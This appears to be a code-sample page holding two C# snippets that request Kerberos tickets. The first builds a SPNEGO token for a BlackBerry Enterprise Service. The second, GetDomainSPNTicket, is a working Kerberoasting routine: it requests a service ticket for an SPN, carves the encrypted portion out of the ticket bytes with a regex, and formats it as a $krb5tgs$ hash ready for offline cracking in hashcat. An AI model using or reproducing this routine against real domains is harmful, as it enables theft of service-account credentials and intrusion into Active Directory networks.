/// <summary>
        /// Acquire the SPNEGO token for the BlackBerry Enterprise Service using the currently logged in
        /// user's credentials and then Base 64 Encode the Token. 
        /// </summary>
        /// <param name="kerberosRealm">The kerberos realm. It must be uppercase. 
        ///                             It is usually equal to the uppercase of the domain.</param>
        /// <param name="bwsHostname">The address of the BlackBerry Enterprise Server hosting BWS.</param>
        /// <returns>Returns the base 64 encoded SPNEGO token for the currently logged in user.</returns>
        private static String getBase64EncodedSpnegoToken(String kerberosRealm, String bwsHostname)
        {
            String METHOD_NAME = "getBase64EncodedSpnegoToken";
            logMessage("Entering {0}", METHOD_NAME);
            String returnValue = null;

            String servicePrincipal = "BASPLUGIN111/" + bwsHostname + "@" + kerberosRealm;

            byte[] token = null;
            try
            {
                KerberosRequestorSecurityToken krst = new KerberosRequestorSecurityToken(servicePrincipal);
                token = krst.GetRequest();
            }
            catch (Exception e)
            {
                // Log and re-throw exception.
                logMessage("Exiting {0} with exception \"{1}\"", METHOD_NAME, e.Message);
                throw e;
            }

            // encode the token using Base64 encoding before returning it
            if (token != null)
            {
                returnValue = Convert.ToBase64String(token);
            }

            logMessage("Exiting {0} with {1}", METHOD_NAME, returnValue == null ? "null" : "a token");
            return returnValue;
        }
Exemple #2
0
    public static void GetDomainSPNTicket(string samaccountname, string spn, string userName = "******", string distinguishedName = "")//, System.Net.NetworkCredential cred = null)
    {
        string domain = "DOMAIN";

        if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase))
        {
            // extract the domain name from the distinguishedname
            Match  dnMatch  = Regex.Match(distinguishedName, "(?<Domain>DC=.*)", RegexOptions.IgnoreCase);
            string domainDN = dnMatch.Groups["Domain"].ToString();
            domain = domainDN.Replace("DC=", "").Replace(',', '.');
        }

        try
        {
            if (debug)
            {
                Console.WriteLine("[DEBUG] (GetDomainSPNTicket) getting SPN ticket for SPN: {0}", spn);
            }
            System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, null, Guid.NewGuid().ToString());

            byte[] requestBytes    = ticket.GetRequest();
            string ticketHexStream = BitConverter.ToString(requestBytes).Replace("-", "");

            // janky regex to try to find the part of the service ticket we want
            Match match = Regex.Match(ticketHexStream, @"a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)", RegexOptions.IgnoreCase);

            if (match.Success)
            {
                // usually 23
                byte eType = Convert.ToByte(match.Groups["EtypeLen"].ToString(), 16);

                int    cipherTextLen = Convert.ToInt32(match.Groups["CipherTextLen"].ToString(), 16) - 4;
                string dataToEnd     = match.Groups["DataToEnd"].ToString();
                string cipherText    = dataToEnd.Substring(0, cipherTextLen * 2);

                if (match.Groups["DataToEnd"].ToString().Substring(cipherTextLen * 2, 4) != "A482")
                {
                    Console.WriteLine(" [X] Error parsing ciphertext for the SPN {0}. Use the TicketByteHexStream to extract the hash offline with Get-KerberoastHashFromAPReq.\r\n", spn);

                    bool header = false;
                    foreach (string line in Split(ticketHexStream, 80))
                    {
                        if (!header)
                        {
                            Console.WriteLine("TicketHexStream        : {0}", line);
                        }
                        else
                        {
                            Console.WriteLine("                         {0}", line);
                        }
                        header = true;
                    }
                    Console.WriteLine();
                }
                else
                {
                    // output to hashcat format
                    string hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", eType, userName, domain, spn, cipherText.Substring(0, 32), cipherText.Substring(32));

                    bool header = false;
                    foreach (string line in Split(hash, 80))
                    {
                        if (!header)
                        {
                            //Console.WriteLine("Hash                   : {0}", line);
                            DateTime dtime = DateTime.Now;
                            Console.WriteLine("{0}[{1}] Obtained service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname);
                        }
                        else
                        {
                            //Console.WriteLine("                         {0}", line);
                        }
                        header = true;
                    }
                    //Console.WriteLine();
                }
            }
        }
        catch (Exception ex)
        {
            //Console.WriteLine("\r\n [X] Error during request for SPN {0} : {1}\r\n", spn, ex.InnerException.Message);
            DateTime dtime = DateTime.Now;
            Console.WriteLine("{0}[{1}] Error obtaining service ticket and hash for SPN {2} ({3})", "".PadLeft(4), dtime.ToString("MM/dd/yyyy HH:mm:ss"), spn, samaccountname);
            Console.WriteLine(ex);
        }
    }